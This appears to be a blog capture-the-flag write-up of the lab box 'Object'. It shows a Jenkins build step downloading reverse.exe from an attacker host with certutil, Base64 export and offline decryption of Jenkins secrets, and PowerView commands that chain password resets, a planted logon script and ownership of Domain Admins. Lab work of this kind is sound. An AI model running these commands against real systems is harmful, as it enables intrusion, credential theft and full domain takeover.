Myles Nieman
← All writeups

Object

Overview

Object is a hard Windows box that chains together three distinct phases: a Jenkins CI server with open registration, offline decryption of Jenkins credential blobs, and a multi-step Active Directory ACL abuse path discovered through BloodHound. At no point does a traditional code-execution exploit land a shell — everything runs through Jenkins builds and WinRM, with each AD pivot requiring PowerView to manipulate object permissions.

Path: Jenkins open registration → job-based command execution → offline Jenkins credential decrypt → WinRM as oliver → BloodHound ACL chain (oliver → ForceChangePassword → smith → GenericWrite → maria → WriteOwner → Domain Admins) → root.

Enumeration

$ nmap 10.10.11.132 -p- -A

Nmap results showing ports 80 and 8080 open

Nmap service detail output

The scan surfaces two web servers. Port 80 serves a standard IIS landing page; port 8080 is Jenkins.

Port 80 IIS default page

Port 8080 Jenkins login page

Foothold — Jenkins Job Execution

Default credentials (admin:admin) fail, but Jenkins registration is open. After creating an account, the dashboard is accessible.

Jenkins dashboard after registering a new account

Jenkins new item / job creation screen

The goal is to create a Freestyle project and use the build step to run arbitrary Windows batch commands. The first attempts to stage a Meterpreter binary via Invoke-WebRequest ran into execution policy blocks:

Jenkins build configuration with PowerShell download cradle

Restricted script console — Groovy script console is locked down

Jenkins job created and configured

Switching to certutil.exe for the download resolved the execution policy issue:

certutil.exe -urlcache -f http://10.10.14.11/reverse.exe C:\Users\oliver\AppData\Local\Temp\reverse.exe

certutil download attempt via Jenkins build step

Build output showing certutil execution

Rather than chasing a reverse-shell binary, I switched to a purpose-built script — Jenkins-JobShell — that drives Jenkins builds through the remote access API to provide a semi-interactive command interface:

$ ./jenkinsshell.py --url http://10.129.96.147:8080 --user ha1ks \
    --token 11eb396d52198c5fa73eafe4227db0bade \
    --push-config --shell --job TestJob --file config.xml

Jenkins API-based job configuration update request

With the shell working, whoami /all confirms execution context:

User Name     SID
============= ==============================================
object\oliver S-1-5-21-4088429403-1159899800-2753317549-1103

The process runs as oliver with SeImpersonatePrivilege present, but the quicker path is credential hunting.

User

Reading oliver’s desktop yields the user flag directly from the Jenkins shell:

jenkins$ type C:\Users\oliver\Desktop\user.txt

Jenkins shell reading the user flag from oliver’s desktop

Lateral Movement — Decrypting Jenkins Credentials

Checking the other user directories reveals only oliver is accessible. Digging into the Jenkins home directory at C:\Users\oliver\AppData\Local\Jenkins\.jenkins shows a secrets folder and stored credential XML files.

Jenkins workspace directory listing

Jenkins secrets folder contents

The admin config XML contains an encrypted credential for oliver:

<username>oliver</username>
<password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>

Admin config.xml showing the encrypted oliver credential

Jenkins encrypts secrets using hudson.util.Secret (the per-instance symmetric key) derived from master.key. Both files are needed for offline decryption. Since hudson.util.Secret is binary, I exported it as Base64 first:

certutil -encode C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret output.b64
type output.b64

Encoding hudson.util.Secret as Base64 for exfiltration

Binary secret file — needed Base64 encoding

Base64-encoded hudson.util.Secret output

With both master.key and hudson.util.Secret collected, decryption uses pwn_jenkins:

$ ./jenkins_offline_decrypt.py master.key hudson.util.secret credentials.xml

That recovers the password c1cdfun_d2434 for oliver. WinRM is open, so:

$ evil-winrm -u oliver -p c1cdfun_d2434 -i 10.129.96.147

Privilege Escalation — AD ACL Chain

With a real WinRM shell, the next step is BloodHound. After uploading and running SharpHound, the collected data reveals the attack path:

BloodHound graph showing oliver has ForceChangePassword on smith

BloodHound detail — smith has GenericWrite on maria, and maria has WriteOwner on Domain Admins

The chain is:

  1. oliverForceChangePasswordsmith
  2. smithGenericWritemaria
  3. mariaWriteOwnerDomain Admins

Step 1 — Change smith’s password using PowerView:

. .\PowerView.ps1
$newpass = ConvertTo-SecureString 'ha1ksRocks!' -AsPlainText -Force
Set-DomainUserPassword -Identity smith -AccountPassword $newpass

Step 2 — Log in as smith and abuse GenericWrite on maria.

GenericWrite allows setting arbitrary writable attributes on an object, including the scriptpath logon script. I wrote a logon script to copy a file from maria’s desktop:

evil-winrm -u smith -p 'ha1ksRocks!' -i 10.129.96.147
# Upload PowerView, then:
echo "copy \users\maria\desktop\Engines.xls \programdata\" > C:\programdata\logon.ps1
Set-DomainObject -Identity maria -SET @{scriptpath="C:\\programdata\\logon.ps1"}

Logon script set on maria via GenericWrite

After maria’s next logon, the script runs and deposits the file:

Engines.xls copied to C:\programdata

Downloading Engines.xls reveals plaintext credentials:

Engines.xls spreadsheet containing maria’s password

maria : W3llcr4ft3d_4cls

Step 3 — Abuse WriteOwner on Domain Admins as maria:

evil-winrm -u maria -p W3llcr4ft3d_4cls -i 10.129.96.147
# Upload PowerView, then:
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity maria
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity maria -Rights All
Add-DomainGroupMember -Identity "Domain Admins" -Members maria

Re-authenticating with a fresh ticket gives maria full Domain Admin membership.

Root

With Domain Admin rights, access to the Domain Controller is unrestricted — the root flag is readable from the Administrator desktop via WinRM or SMB.

Takeaways

  • Open Jenkins registration with build access is unauthenticated RCE. Any user who can create and trigger a job can run arbitrary commands under the service account.
  • Jenkins stores encrypted credentials offline-decryptably. Given read access to master.key, hudson.util.Secret, and a credentials XML, passwords are trivially recoverable with pwn_jenkins.
  • BloodHound ACL chains collapse complex AD environments. Even without a single direct DA path, chained ForceChangePasswordGenericWriteWriteOwner permissions can achieve full domain compromise one hop at a time.